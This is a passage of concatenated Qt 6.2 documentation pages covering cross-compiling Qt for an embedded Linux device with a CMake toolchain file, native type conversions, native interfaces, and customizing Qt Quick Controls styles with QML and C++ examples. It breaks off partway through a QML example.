  **Note:** Be aware that Qt is just one component in the software stack for an embedded device. Especially when accelerated graphics are involved, Qt expects a functional graphics stack, with an appropriate configuration for the userspace and kernel components, such as the display driver. These components are outside of Qt's domain, and it is the system integrator's responsibility to ensure the base system is fully functional and optimal, including accelerated graphics.

  For further information on graphics and input configuration for Embedded Linux systems, refer to [Qt for Embedded Linux](embedded-linux).

 Toolchain Files versus Device Makespecs
---------------------------------------

 In Qt 5, you would typically use a device spec under the *qtbase/mkspecs/devices* directory. These contain the appropriate compiler and linker flags for a certain device, also making sure the correct EGL and OpenGL ES libraries are picked up, in case they are in a non-standard location in the sysroot.

 For example, you could have configured a Qt 5 build for a Raspberry Pi 2 with a configure command like the following:

 
```
./configure -release -opengl es2 -device linux-rasp-pi2-g++ -device-option CROSS_COMPILE=$TOOLCHAIN/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian/bin/arm-linux-gnueabihf- -sysroot $ROOTFS -prefix /usr/local/qt5
```
 With Qt 6 and CMake, this approach is **no longer sufficient** on its own. Rather, a [CMake toolchain file](https://cmake.org/cmake/help/latest/manual/cmake-toolchains.7.html) must be provided before configuring can happen. It is in this file where customization with regards to compiler and linker flags, and toolchain and sysroot specific quirks, happens.

 In the below sections we will present a toolchain file that can be used in many cases, with minimal customization. It is based on the approach presented in [this blog post](https://www.qt.io/blog/standalone-boot2qt-/-yocto-sdk-cmake-toolchain).

  **Note:** The toolchain file presented below is an example, that will often need further customizations for a given device. Users and system integrators are also free to create their own toolchain files in any way they see fit.

  While CMake is the only supported build system for building Qt itself, applications may still be built using `qmake` in Qt 6.0. In order to get a `qmake` setup that is functional with cross-compilation, one will need to specify some of the legacy arguments to CMake or to configure.

 Host Tools
----------

 Cross-compiling Qt requires a host build of Qt being available. During the build, tools such as `moc`, `rcc`, `qmlcachegen`, `qsb`, and others, are invoked from there. For example, if one cross-compiles for ARM on an x64 machine, a local x64 build of the same Qt version must be made available first. The path to this Qt build will be passed to configure or cmake.

 Configuring Qt
--------------

 Let's assume that the following are available:

 * a toolchain and sysroot under `$HOME/rpi-sdk`,
* a checkout of Qt, at minimum the qtbase module, under `$HOME/qt-cross`,
* a host build of Qt in `$HOME/qt-host`.

 In addition, the following must be decided before configuring:

 * Where will the Qt build be installed on the local system once the build completes? In the example we will use `$HOME/qt6-rpi`.
* Where will the Qt build be deployed on the device? In the example we will use `/usr/local/qt6`.

 In the example we are going to use a Raspberry Pi 4 SDK (toolchain+sysroot) generated via Yocto, but the instructions here are completely generic, with no dependency on Yocto. The steps are the same with any other toolchain and sysroot, once the toolchain file is updated with the correct cross compiler and other paths.

 After creating and switching to a `build` directory:

 
```
$HOME/qt-cross/qtbase/configure -release -opengl es2 -nomake examples -nomake tests \
  -qt-host-path $HOME/qt-host                              \
  -extprefix $HOME/qt6-rpi                                 \
  -prefix /usr/local/qt6                                   \
  -- -DCMAKE_TOOLCHAIN_FILE=$HOME/qt-cross/toolchain.cmake
```
 In practice this configure command is equivalent to the following direct CMake call:

 
```
cmake -GNinja -DCMAKE_BUILD_TYPE=Release -DINPUT_opengl=es2 -DQT_BUILD_EXAMPLES=OFF -DQT_BUILD_TESTS=OFF \
  -DQT_HOST_PATH=$HOME/qt-host                           \
  -DCMAKE_STAGING_PREFIX=$HOME/qt6-rpi                   \
  -DCMAKE_INSTALL_PREFIX=/usr/local/qt6                  \
  -DCMAKE_TOOLCHAIN_FILE=$HOME/qt-cross/toolchain.cmake  \
  $HOME/qt-cross/qtbase
```
 Given the appropriate toolchain file, this is sufficient to generate a Qt build that then allows applications to be built using CMake. To enable applications to be built with `qmake` as well, the Qt 5 style device spec and device options must be specified, in addition to all arguments shown above:

 
```
$HOME/qt-cross/qtbase/configure ...
  ...
  -device linux-rasp-pi4-v3d-g++ \
  -device-option CROSS_COMPILE=$HOME/rpi_sdk/sysroots/x86_64-pokysdk-linux/usr/bin/arm-poky-linux-gnueabi/arm-poky-linux-gnueabi- \
  -device-option DISTRO_OPTS="hard-float" \
  ...
```
 By default, when cross-compiling, only the Qt libraries and tools that are supposed to run on the target device are built. Build-related tools like `moc` and `uic` are not built. Building such tools can be enabled by setting `QT_BUILD_TOOLS_WHEN_CROSSCOMPILING` to `ON`.

  **Note:** When `QT_BUILD_TOOLS_WHEN_CROSSCOMPILING` is enabled, target binaries of tools like `qmake` will get installed to the staging location. Therefore, if `qmake` is used to build applications, call the `host-qmake` script instead.

  Once configuration completes without errors, run `cmake --build . --parallel` to build. Once built, run `cmake --install .` to install the results to `$HOME/qt6-rpi`. From there the Qt build can be deployed to the device by using rsync, scp, or another method.

 If building individual Qt modules, one can use the `qt-configure-module` script from the `bin` directory of the staging location (`$HOME/qt6-rpi` in the example) to configure additional modules, such as qtdeclarative, qtquick3d, and so on. They can then be built using `cmake --build .` and installed to the staging location by running `cmake --install .`

  **Note:** Before starting the build, always inspect the output of the configuration step carefully: does it have all the expected features enabled? Making a build and deploying it to the device is futile if essential features are not enabled at configuration time.

  For example, when accelerated graphics via OpenGL is desired, pay extra attention to the following features:

 
```
EGL .................................... yes
OpenGL:
  Desktop OpenGL ....................... no
  OpenGL ES 2.0 ........................ yes
  OpenGL ES 3.0 ........................ yes
...
evdev .................................. yes
libinput ............................... yes
...
EGLFS .................................. yes
EGLFS details:
  EGLFS OpenWFD ........................ no
  EGLFS i.Mx6 .......................... no
  EGLFS i.Mx6 Wayland .................. no
  EGLFS RCAR ........................... no
  EGLFS EGLDevice ...................... yes
  EGLFS GBM ............................ yes
  EGLFS VSP2 ........................... no
  EGLFS Mali ........................... no
  EGLFS Raspberry Pi ................... no
  EGLFS X11 ............................ no
LinuxFB ................................ yes
```
 With the Raspberry Pi 4 example, we expect that EGL, OpenGL ES and `EGLFS GBM` are all reported as `yes`, otherwise the EGLFS platform plugin and its **eglfs\_kms** backend will not be functional on the device. For getting function mouse, keyboard, and touch input, either `evdev` or `libinput` must be enabled.

 Similarly, if X11 is planned to be used as the (or one of the) windowing systems on the device, then ensure the xcb and X11 related features are marked as `yes`.

 An Example Toolchain File
-------------------------

 We will assume there is a sysroot and toolchain available under `$HOME/rpi-sdk`. `TARGET_SYSROOT` and `CROSS_COMPILER` must be adjusted to the toolchain and sysroot in use. The example here is only suitable for one specific, Yocto-generated SDK. The same is true for `CMAKE_C_COMPILER` and `CMAKE_CXX_COMPILER`.

 We do not rely on any wrapper scripts that would provide environment variables such as PKG\_CONFIG\_\*. Rather, the path to the .pc files is specified in the toolchain file. It is likely that another sysroot will need adjustments in `PKG_CONFIG_LIBDIR`. For example, with a sysroot generated from a Raspberry Pi OS (formerly Raspbian) image one would use `/usr/lib/arm-gnueabihf/pkgconfig` instead.

 The compiler and linker flags are not necessary optimal in the example. Adjust them as necessary for the target device.

 For further information on the CMake specifics in the example toolchain file, refer to [this blog post](https://www.qt.io/blog/standalone-boot2qt-/-yocto-sdk-cmake-toolchain) and [the CMake documentation](https://cmake.org/cmake/help/latest/manual/cmake-toolchains.7.html).

 
```
cmake_minimum_required(VERSION 3.18)
include_guard(GLOBAL)

set(CMAKE_SYSTEM_NAME Linux)
set(CMAKE_SYSTEM_PROCESSOR arm)

set(TARGET_SYSROOT /home/user/rpi-sdk/sysroots/cortexa7t2hf-neon-vfpv4-poky-linux-gnueabi)
set(CROSS_COMPILER /home/user/rpi-sdk/sysroots/x86_64-pokysdk-linux/usr/bin/arm-poky-linux-gnueabi)

set(CMAKE_SYSROOT ${TARGET_SYSROOT})

set(ENV{PKG_CONFIG_PATH} "")
set(ENV{PKG_CONFIG_LIBDIR} ${CMAKE_SYSROOT}/usr/lib/pkgconfig:${CMAKE_SYSROOT}/usr/share/pkgconfig)
set(ENV{PKG_CONFIG_SYSROOT_DIR} ${CMAKE_SYSROOT})

set(CMAKE_C_COMPILER ${CROSS_COMPILER}/arm-poky-linux-gnueabi-gcc)
set(CMAKE_CXX_COMPILER ${CROSS_COMPILER}/arm-poky-linux-gnueabi-g++)

set(QT_COMPILER_FLAGS "-march=armv7-a -mfpu=neon -mfloat-abi=hard")
set(QT_COMPILER_FLAGS_RELEASE "-O2 -pipe")
set(QT_LINKER_FLAGS "-Wl,-O1 -Wl,--hash-style=gnu -Wl,--as-needed")

set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_PACKAGE ONLY)

include(CMakeInitializeConfigs)

function(cmake_initialize_per_config_variable _PREFIX _DOCSTRING)
  if (_PREFIX MATCHES "CMAKE_(C|CXX|ASM)_FLAGS")
    set(CMAKE_${CMAKE_MATCH_1}_FLAGS_INIT "${QT_COMPILER_FLAGS}")

    foreach (config DEBUG RELEASE MINSIZEREL RELWITHDEBINFO)
      if (DEFINED QT_COMPILER_FLAGS_${config})
        set(CMAKE_${CMAKE_MATCH_1}_FLAGS_${config}_INIT "${QT_COMPILER_FLAGS_${config}}")
      endif()
    endforeach()
  endif()

  if (_PREFIX MATCHES "CMAKE_(SHARED|MODULE|EXE)_LINKER_FLAGS")
    foreach (config SHARED MODULE EXE)
      set(CMAKE_${config}_LINKER_FLAGS_INIT "${QT_LINKER_FLAGS}")
    endforeach()
  endif()

  _cmake_initialize_per_config_variable(${ARGV})
endfunction()
```
 Building Applications for the Target Device
-------------------------------------------

 Once the Qt build is done and installed to the staging location, examples or applications can be built.

 With CMake, use the generated `qt-cmake` script in the `bin` directory of the staging location (`$HOME/qt6-rpi` in the example) to configure, then run `ninja`. For example:

 
```
$HOME/qt6-rpi/bin/qt-cmake .
cmake --build .
```
 The resulting application binary can then be deployed to the device. Using the `qt-cmake` helper script is convenient, because the script ensures the toolchain file that was used for building Qt is loaded, so there is no need to repeatedly specify it for each application.

 Unlike for Qt itself, building applications with qmake is still supported in Qt 6.0, as long as a suitable device spec is available, and the appropriate legacy arguments were passed to CMake or configure when configuring Qt. If this is all true, then running `qmake` and `make` will also generate an application binary for the target device.

 Defaults for Platform Plugins and EGLFS
---------------------------------------

 Once configured, a default platform plugin is chosen. This is used when launching an application without the `-platform` argument and without having the `QT_QPA_PLATFORM` environment variable set.

 Similarly, the EGLFS platform plugin has multiple backends. The default is chosen based on availability and a pre-defined priority order. If drm and gbm are available, the default will be the **eglfs\_kms** backend. This can always be overridden at runtime by setting the `QT_QPA_EGLFS_INTEGRATION` environment variable.

 To change these defaults for the build, without having to force a specific value at run time, the following to CMake cache variables are available once CMake has been run once:

 * `QT_QPA_DEFAULT_PLATFORM` (`STRING`) - The name of the default platform plugin.
* `QT_QPA_DEFAULT_EGLFS_INTEGRATION` (`STRING`) - The default EGLFS backend.

 For more information on configuring Qt, see [Qt Configure Options](configure-options).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/configure-linux-device.html>

Type Conversions
================

 Many of Qt's basic data types, such as [QString](qstring), [QPoint](qpoint), or [QImage](qimage), provide conversions to and from the native equivalent types.

 The following list enumerates all of the available type conversions:

 

|  |  |
| --- | --- |
| [QByteArray::fromCFData()](qbytearray#fromCFData) | Constructs a new QByteArray containing a copy of the CFData data |
| [QByteArray::fromNSData()](qbytearray#fromNSData) | Constructs a new QByteArray containing a copy of the NSData data |
| [QByteArray::fromRawCFData()](qbytearray#fromRawCFData) | Constructs a QByteArray that uses the bytes of the CFData data |
| [QByteArray::fromRawNSData()](qbytearray#fromRawNSData) | Constructs a QByteArray that uses the bytes of the NSData data |
| [QDateTime::fromCFDate()](qdatetime#fromCFDate) | Constructs a new QDateTime containing a copy of the CFDate date |
| [QDateTime::fromNSDate()](qdatetime#fromNSDate) | Constructs a new QDateTime containing a copy of the NSDate date |
| [QImage::fromHBITMAP()](qimage#fromHBITMAP) | Returns a QImage that is equivalent to the given hbitmap |
| [QImage::fromHICON()](qimage#fromHICON) | Returns a QImage that is equivalent to the given icon |
| [QPointF::fromCGPoint()](qpointf#fromCGPoint) | Creates a QRectF from CGPoint point |
| [QRectF::fromCGRect()](qrectf#fromCGRect) | Creates a QRectF from CGRect rect |
| [QSizeF::fromCGSize()](qsizef#fromCGSize) | Creates a QRectF from size |
| [QString::fromCFString()](qstring#fromCFString) | Constructs a new QString containing a copy of the string CFString |
| [QString::fromNSString()](qstring#fromNSString) | Constructs a new QString containing a copy of the string NSString |
| [QTimeZone::fromCFTimeZone()](qtimezone#fromCFTimeZone) | Constructs a new QTimeZone containing a copy of the CFTimeZone timeZone |
| [QTimeZone::fromNSTimeZone()](qtimezone#fromNSTimeZone) | Constructs a new QTimeZone containing a copy of the NSTimeZone timeZone |
| [QUrl::fromCFURL()](qurl#fromCFURL) | Constructs a QUrl containing a copy of the CFURL url |
| [QUrl::fromNSURL()](qurl#fromNSURL) | Constructs a QUrl containing a copy of the NSURL url |
| [QUuid::fromCFUUID()](quuid#fromCFUUID) | Constructs a new QUuid containing a copy of the uuid CFUUID |
| [QUuid::fromNSUUID()](quuid#fromNSUUID) | Constructs a new QUuid containing a copy of the uuid NSUUID |
| [QByteArray::toCFData()](qbytearray#toCFData) | Creates a CFData from a QByteArray |
| [QByteArray::toRawCFData()](qbytearray#toRawCFData) | Constructs a CFData that uses the bytes of the QByteArray |
| [QDateTime::toCFDate()](qdatetime#toCFDate) | Creates a CFDate from a QDateTime |
| [QString::toCFString()](qstring#toCFString) | Creates a CFString from a QString |
| [QStringView::toCFString()](qstringview#toCFString) | Creates a CFString from this QStringView |
| [QTimeZone::toCFTimeZone()](qtimezone#toCFTimeZone) | Creates a CFTimeZone from a QTimeZone |
| [QUrl::toCFURL()](qurl#toCFURL) | Creates a CFURL from a QUrl |
| [QUuid::toCFUUID()](quuid#toCFUUID) | Creates a CFUUID from a QUuid |
| [QImage::toCGImage()](qimage#toCGImage) | Creates a CGImage equivalent to this QImage |
| [QPointF::toCGPoint()](qpointf#toCGPoint) | Creates a CGPoint from a QPointF |
| [QPoint::toCGPoint()](qpoint#toCGPoint) | Creates a CGPoint from a QPoint |
| [QRectF::toCGRect()](qrectf#toCGRect) | Creates a CGRect from a QRectF |
| [QRect::toCGRect()](qrect#toCGRect) | Creates a CGRect from a QRect |
| [QSizeF::toCGSize()](qsizef#toCGSize) | Creates a CGSize from a QSizeF |
| [QSize::toCGSize()](qsize#toCGSize) | Creates a CGSize from a QSize |
| [QImage::toHBITMAP()](qimage#toHBITMAP) | Creates a HBITMAP equivalent of the QImage |
| [QImage::toHICON()](qimage#toHICON) | Creates a HICON equivalent of the QPixmap, applying the mask mask |
| [QByteArray::toNSData()](qbytearray#toNSData) | Creates a NSData from a QByteArray |
| [QByteArray::toRawNSData()](qbytearray#toRawNSData) | Constructs a NSData that uses the bytes of the QByteArray |
| [QDateTime::toNSDate()](qdatetime#toNSDate) | Creates an NSDate from a QDateTime |
| [QString::toNSString()](qstring#toNSString) | Creates a NSString from a QString |
| [QStringView::toNSString()](qstringview#toNSString) | Creates an NSString from this QStringView |
| [QTimeZone::toNSTimeZone()](qtimezone#toNSTimeZone) | Creates an NSTimeZone from a QTimeZone |
| [QUrl::toNSURL()](qurl#toNSURL) | Creates a NSURL from a QUrl |
| [QUuid::toNSUUID()](quuid#toNSUUID) | Creates a NSUUID from a QUuid |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/platform-type-conversions.html>

Native Interfaces
=================

 The native interfaces provide access to native or platform specific APIs of the classes they extend.

 The interfaces live in the [QNativeInterface](qnativeinterface) namespace, and cover use-cases such as accessing underlying native handles, adopting existing native handles, or providing platform specific APIs.

 Example Usage
-------------

 ### Accessing underlying native handles

 In situations where a feature of the native platform is not exposed in Qt, it can be helpful to access the native handles maintained by Qt, and use those to call the native APIs instead.

 For example, to access the underlying NSOpenGLContext of an [QOpenGLContext](qopenglcontext) on macOS, via the [QNativeInterface::QCocoaGLContext](qnativeinterface-qcocoaglcontext) native interface:

 
```
using namespace QNativeInterface;
if (auto *cocoaGLContext = glContext->nativeInterface<QCocoaGLContext>())
    [cocoaGLContext->nativeContext() makeCurrentContext];
```
 The native interface is accessed through the [QOpenGLContext::nativeInterface](qopenglcontext#nativeInterface)() accessor, which ensures that the requested interface is available, and otherwise returns `nullptr`. The underlying NSOpenGLContext is then accessed through the [nativeContext](qnativeinterface-qcocoaglcontext#nativeContext)() accessor.

 ### Adopting existing native handles

 Similarly to the [window embedding](platform-integration#window-embedding) use-case, there are situations where the native platform, or another toolkit, has created a native handle that you would like to pass on to Qt — wrapping the existing handle instead of creating a new one.

 For example, to adopt an existing NSOpenGLContext, and use that to share resources with a context created by Qt:

 
```
using namespace QNativeInterface;
QOpenGLContext *adoptedContext = QCocoaGLContext::fromNativeContext(nsOpenGLContext);
anotherContext->setShareContext(adoptedContext);
```
 The adopted context is created by a platform specific factory function in the [QNativeInterface::QCocoaGLContext](qnativeinterface-qcocoaglcontext) native interface.

 ### Accessing platform specific APIs

 In some cases an API is too platform specific to be included in the cross platform Qt classes, but is still useful to include. These APIs are available either in the same way as when accessing the underlying native handles, through the [nativeInterface](qopenglcontext#nativeInterface)() accessor, or directly as static function in the native interface.

 For example, to pull out the OpenGL module handle on Windows:

 
```
using namespace QNativeInterface;
HMODULE moduleHandle = QWGLContext::openGLModuleHandle();
```
 Source and Binary Compatibility
-------------------------------

 There are no source or binary compatibility guarantees for the native interface APIs, meaning that an application using these interfaces is only guaranteed to work with the Qt version it was developed against.

 Available Interfaces
--------------------

 For a list of all available interfaces, see the [QNativeInterface](qnativeinterface) namespace.

 ### QOpenGLContext

 Accessed through [QOpenGLContext::nativeInterface](qopenglcontext#nativeInterface)().

 

|  |  |
| --- | --- |
| [QNativeInterface::QCocoaGLContext](qnativeinterface-qcocoaglcontext) | Native interface to an NSOpenGLContext on macOS |
| [QNativeInterface::QEGLContext](qnativeinterface-qeglcontext) | Native interface to an EGL context |
| [QNativeInterface::QGLXContext](https://doc.qt.io/qt-6.2/qnativeinterface-qglxcontext.html) | Native interface to a GLX context |
| [QNativeInterface::QWGLContext](qnativeinterface-qwglcontext) | Native interface to a WGL context on Windows |

 ### QOffscreenSurface

 Accessed through [QOffscreenSurface::nativeInterface](qoffscreensurface#nativeInterface)().

 

|  |  |
| --- | --- |
| [QNativeInterface::QAndroidOffscreenSurface](qnativeinterface-qandroidoffscreensurface) | Native interface to a offscreen surface on Android |

 ### QSGTexture

 Accessed through [QSGTexture::nativeInterface](qsgtexture#nativeInterface)().

 

|  |  |
| --- | --- |
| [QNativeInterface::QSGD3D11Texture](qnativeinterface-qsgd3d11texture) | Provides access to and enables adopting Direct3D 11 texture objects |
| [QNativeInterface::QSGMetalTexture](qnativeinterface-qsgmetaltexture) | Provides access to and enables adopting Metal texture objects |
| [QNativeInterface::QSGOpenGLTexture](qnativeinterface-qsgopengltexture) | Provides access to and enables adopting OpenGL texture objects |
| [QNativeInterface::QSGVulkanTexture](qnativeinterface-qsgvulkantexture) | Provides access to and enables adopting Vulkan image objects |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/native-interfaces.html>

Customizing Qt Quick Controls
=============================

 Qt Quick Controls consist of a hierarchy (tree) of items. In order to provide a custom look and feel, the default QML implementation of each item can be replaced with a custom one.

 Customizing a Control
---------------------

 Sometimes you'll want to create a "one-off" look for a specific part of your UI, and use a complete style everywhere else. Perhaps you're happy with the style you're using, but there's a certain button that has some special significance.

 The first way to create this button is to simply define it in-place, wherever it is needed. For example, perhaps you're not satisfied with the Basic style's Button having square corners. To make them rounded, you can override the [background](qml-qtquick-controls2-control#background-prop) item and set the radius property of Rectangle:

 
```
import QtQuick
import QtQuick.Controls

ApplicationWindow {
    width: 400
    height: 400
    visible: true

    Button {
        id: button
        text: "A Special Button"
        background: Rectangle {
            implicitWidth: 100
            implicitHeight: 40
            color: button.down ? "#d6d6d6" : "#f6f6f6"
            border.color: "#26282a"
            border.width: 1
            radius: 4
        }
    }
}
```
 The second way to create the button is good if you plan to use your rounded button in several places. It involves moving the code into its own QML file within your project.

 For this approach, we'll copy the background code from the Basic style's `Button.qml`. This file can be found in the following path in your Qt installation:

 `$QTDIR/qml/QtQuick/Controls/Basic/Button.qml`

 After doing that, we'll simply add the following line:

 
```
radius: 4
```
 To avoid confusion with the controls in the module itself, we'll call the file `MyButton.qml`. To use the control in your application, refer to it by its filename:

 
```
import QtQuick.Controls

ApplicationWindow {
    MyButton {
        text: qsTr("A Special Button")
    }
}
```
 The third way to create the button is a bit more structured, both in terms of where the file sits in the file system and how it is used in QML. First, copy an existing file as you did above, but this time, put it into a subfolder in your project named (for example) `controls`. To use the control, first import the folder into a namespace:

 
```
import QtQuick.Controls
import "controls" as MyControls

ApplicationWindow {
    MyControls.Button {
        text: qsTr("A Special Button")
    }
}
```
 As you now have the `MyControls` namespace, you can name the controls after their actual counterparts in the Qt Quick Controls module. You can repeat this process for any control that you wish to add.

 An added benefit of these three methods is that it's not necessary to implement the template from scratch.

 Creating a Custom Style
-----------------------

 There are several ways to go about creating your own styles. Below, we'll explain the various approaches.

 ### Definition of a Style

 In Qt Quick Controls, a style is essentially a set of QML files within a single directory. There are four requirements for a style to be [usable](qtquickcontrols2-styles#using-styles-in-qt-quick-controls):

 * At least one QML file whose name matches a control (for example, `Button.qml`) must exist.
* Each QML file must contain the relevant type from the [QtQuick.Templates](qtquicktemplates2-index) import as the root item. For example, Button.qml must contain a Button template as its root item.If we instead used the corresponding type from the [QtQuick.Controls](qtquickcontrols-index) import as we did in the previous section, it would not work: the control we were defining would try to derive from itself.
* A [qmldir](https://doc.qt.io/qt-6.2/qtqml-modules-qmldir.html) file must exist alongside the QML file(s). Below is an example of a simple `qmldir` file for a style that provides a button:
```
module MyStyle
Button 2.15 Button.qml
```
 If you're using [compile-time style selection](qtquickcontrols2-styles#compile-time-style-selection), the qmldir should also import the fallback style:

 
```
# ...
import QtQuick.Controls.Basic auto
```
 This can also be done for [run-time style selection](qtquickcontrols2-styles#run-time-style-selection) instead of using, for example, [QQuickStyle::setFallbackStyle](qquickstyle#setFallbackStyle)().

 The directory structure for such a style looks like this:

 
```
MyStyle
├─── Button.qml
└─── qmldir
```
* The files must be in a directory that is findable via the [QML Import Path](qtqml-syntax-imports#qml-import-path).For example, if the path to *MyStyle* directory mentioned above was `/home/user/MyApp/MyStyle`, then `/home/user/MyApp` must be added to the QML import path.

 To [use](qtquickcontrols2-styles#using-styles-in-qt-quick-controls) *MyStyle* in *MyApp*, refer to it by name:


	+ `./MyApp -style MyStyle`The style name must match the casing of the style directory; passing *mystyle* or *MYSTYLE* is not supported.

 By default, the styling system uses the Basic style as a fallback for controls that aren't implemented. To customize or extend any other built-in style, it is possible to specify a different fallback style using [QQuickStyle](qquickstyle).

 What this means is that you can implement as many controls as you like for your custom style, and place them almost anywhere. It also allows users to create their own styles for your application.

 #### Previewing Custom Styles in Qt Quick Designer

 Using the approach above, it is possible to preview a custom style in Qt Quick Designer. In order to do so, ensure that the project has a [qtquickcontrols2.conf](qtquickcontrols2-configuration) file, and that the following entry exists:

 
```
[Controls]
Style=MyStyle
```
 For more information, take a look at the [Flat Style example](https://doc.qt.io/qt-6.2/qtquickcontrols-flatstyle-example.html).

 ### Style-specific C++ Extensions

 Sometimes you may need to use C++ to extend your custom style. There are two ways to expose such types to QML:

 * If the style that uses the type is the only style used by an application, it's enough to register it with the QML engine via [qmlRegisterType](qqmlengine#qmlRegisterType-1)():
```
qmlRegisterType<ACoolCppItem>("MyApp", 1, 0, "ACoolItem");
```
 See [Using C++ Data From QML](qtquickcontrols2-gettingstarted#using-c-data-from-qml) for more information about this.
* If the style that uses the type is one of many styles used by an application, it may be better to only register it when necessary. This is the point at which it would make sense to implement your own [QML plugin](https://doc.qt.io/qt-6.2/qtqml-modules-cppplugins.html).Using a plugin as part of your style is not that much different from using a set of QML files. The only difference is that the plugin and its `qmldir` file must be present in the same directory as the QML files.

 #### Considerations for custom styles

 When implementing your own style and customizing controls, there are some points to keep in mind to ensure that your application is as performant as possible.

 ##### Avoid assigning an id to styles' implementations of item delegates

 As explained in [Definition of a Style](qtquickcontrols2-customize#definition-of-a-style), when you implement your own style for a control, you start off with the relevant template for that control. For example, a style's `Button.qml` will be structured similarly to this:

 
```
T.Button {
    // ...

    background: Rectangle {
        // ...
    }

    contentItem: Text {
        // ...
    }

    // ...
}
```
 When you use a Button in your application, the `background` and `contentItem` items will be created and parented to the root `Button` item:

 
```
// Creates the Button root item, the Rectangle background,
// and the Text contentItem.
Button {
    text: qsTr("Confirm")
}
```
 Suppose you then needed to do a one-off customization of the Button (as explained in [Customizing a Control](qtquickcontrols2-customize#customizing-a-control)):

 
```
import QtQuick
import QtQuick.Controls

ApplicationWindow {
    width: 400
    height: 400
    visible: true

    Button {
        id: button
        text: "A Special Button"
        background: Rectangle {
            implicitWidth: 100
            implicitHeight: 40
            color: button.down ? "#d6d6d6" : "#f6f6f6"
            border.color: "#26282a"
            border.width: 1
            radius: 4
        }
    }
}
```
 In QML, this would normally result in both the default `background` implementation and the one-off, custom `background` items being created. Qt Quick Controls uses a technique that avoids creating both items, and instead only creates the custom `background`, greatly improving the creation performance of controls.

 This technique relies on the absence of an [id](qtqml-syntax-objectattributes#the-id-attribute) in the style's implementation of that item. If an id is assigned, the technique cannot work, and both items will be created. For example, it can be tempting to assign an id to the `background` or `contentItem` so that other objects within the file can refer to those items:

 
```
T.Button {
    // ...

    background: Rectangle {
        id: backgroundRect
        // ...
    }

    contentItem: Text {
        // Use backgroundRect in some way...
    }

    // ...
}
```
 With this code, every time a Button instance with a customized background is created, both backgrounds will be created, resulting in sub-optimal creation performance.

 Prior to Qt 5.15, the old, unused background would be deleted to release the resources associated with it. However, as the control does not own the items, it should not delete them. As of Qt 5.15, old items are no longer deleted, and so the `backgroundRect` item will live longer than it needs to—typically until the application exits. Although the old item will be hidden, visually unparented from the control, and removed from the accessibility tree, it is important to keep the creation time and memory usage of these unused items in mind when assigning an id in this context.

 ##### Avoid imperative assignments of custom items

 The technique mentioned in the section above only works when an item is [declaratively](qtquick-bestpractices#prefer-declarative-bindings-over-imperative-assignments) assigned for the first time, and so imperative assignments will result in orphaned items. Always use declarative bindings to assign custom items when possible.

 #### Attached properties

 It is common for a style to have certain properties or attributes that apply to all controls. [Attached properties](qtqml-syntax-objectattributes#attached-properties-and-attached-signal-handlers) are a great way of extending an item in QML without having to modify any existing C++ belonging to that item. For example, both the [Material](qtquickcontrols2-material) and [Universal](qtquickcontrols2-universal) styles have an attached theme property that controls whether an item and its children will be rendered in a light or dark theme.

 As an example, let's add an attached property that controls elevation. Our style will illustrate the elevation with a drop shadow; the higher the elevation, the larger the shadow.

 The first step is to [create a new Qt Quick Controls application](https://doc.qt.io/qtcreator/creator-project-creating.html#selecting-project-type) in Qt Creator. After that, we [add a C++ type](https://doc.qt.io/qtcreator/creator-project-creating.html#creating-c-classes) that stores the elevation. Since the type will be used for every control supported by our style, and because we may wish to add other attached properties later on, we'll call it MyStyle. Here is `MyStyle.h`:

 
```
#ifndef MYSTYLE_H
#define MYSTYLE_H

#include <QObject>
#include <QtQml>

class MyStyle : public QObject
{
    Q_OBJECT
    Q_PROPERTY(int elevation READ elevation WRITE setElevation NOTIFY elevationChanged)

public:
    explicit MyStyle(QObject *parent = nullptr);

    static MyStyle *qmlAttachedProperties(QObject *object);

    int elevation() const;
    void setElevation(int elevation);

signals:
    void elevationChanged();

private:
    int m_elevation;
};

QML_DECLARE_TYPEINFO(MyStyle, QML_HAS_ATTACHED_PROPERTIES)

#endif // MYSTYLE_H
```
 `MyStyle.cpp`:

 
```
#include "mystyle.h"

MyStyle::MyStyle(QObject *parent) :
    QObject(parent),
    m_elevation(0)
{
}

MyStyle *MyStyle::qmlAttachedProperties(QObject *object)
{
    return new MyStyle(object);
}

int MyStyle::elevation() const
{
    return m_elevation;
}

void MyStyle::setElevation(int elevation)
{
    if (elevation == m_elevation)
        return;

    m_elevation = elevation;
    emit elevationChanged();
}
```
 The `MyStyle` type is special in the sense that it shouldn't be instantiated, but rather used for its attached properties. For that reason, we register it in the following manner in `main.cpp`:

 
```
#include <QGuiApplication>
#include <QQmlApplicationEngine>

#include "mystyle.h"

int main(int argc, char *argv[])
{
    QGuiApplication app(argc, argv);

    qmlRegisterUncreatableType<MyStyle>("MyStyle", 1, 0, "MyStyle", "MyStyle is an attached property");

    QQmlApplicationEngine engine;
    // Make the directory containing our style known to the QML engine.
    engine.addImportPath(":/");
    engine.load(QUrl(QLatin1String("qrc:/main.qml")));

    return app.exec();
}
```
 We then copy `Button.qml` from the Basic style in `$QTDIR/qml/QtQuick/Controls/Basic/` into a new `myproject` folder in our project directory. Add the newly copied `Button.qml` to `qml.qrc`, which is the resource file that contains our QML files.

 Next, we add a drop shadow to the [background](qml-qtquick-controls2-control#background-prop) delegate of the Button:

 
```
// ...
import QtGraphicalEffects
import MyStyle
// ...

background: Rectangle {
    // ...

    layer.enabled: control.enabled && control.MyStyle.elevation > 0
    layer.effect: DropShadow {
        verticalOffset: 1
        color: control.visualFocus ? "#330066ff" : "#aaaaaa"
        samples: control.MyStyle.elevation
        spread: 0.5
    }
}
```
 Note that we:

 * Don't bother using the drop shadow when the elevation is `0`
* Change the shadow's color depending on whether or not the button has focus
* Make the size of the shadow depend on the elevation

 To try out the attached property, we create a [Row](qml-qtquick-row) with two Buttons in `main.qml`:

 
```
import QtQuick
import QtQuick.Controls

import MyStyle 1.0

ApplicationWindow {
    id: window
    width: 400
    height: 400
    visible: true

    Row {
        spacing: 20
        anchors.centerIn: parent

        Button {
            text: "Button 1"
        }
        Button {
            text: "Button 2"
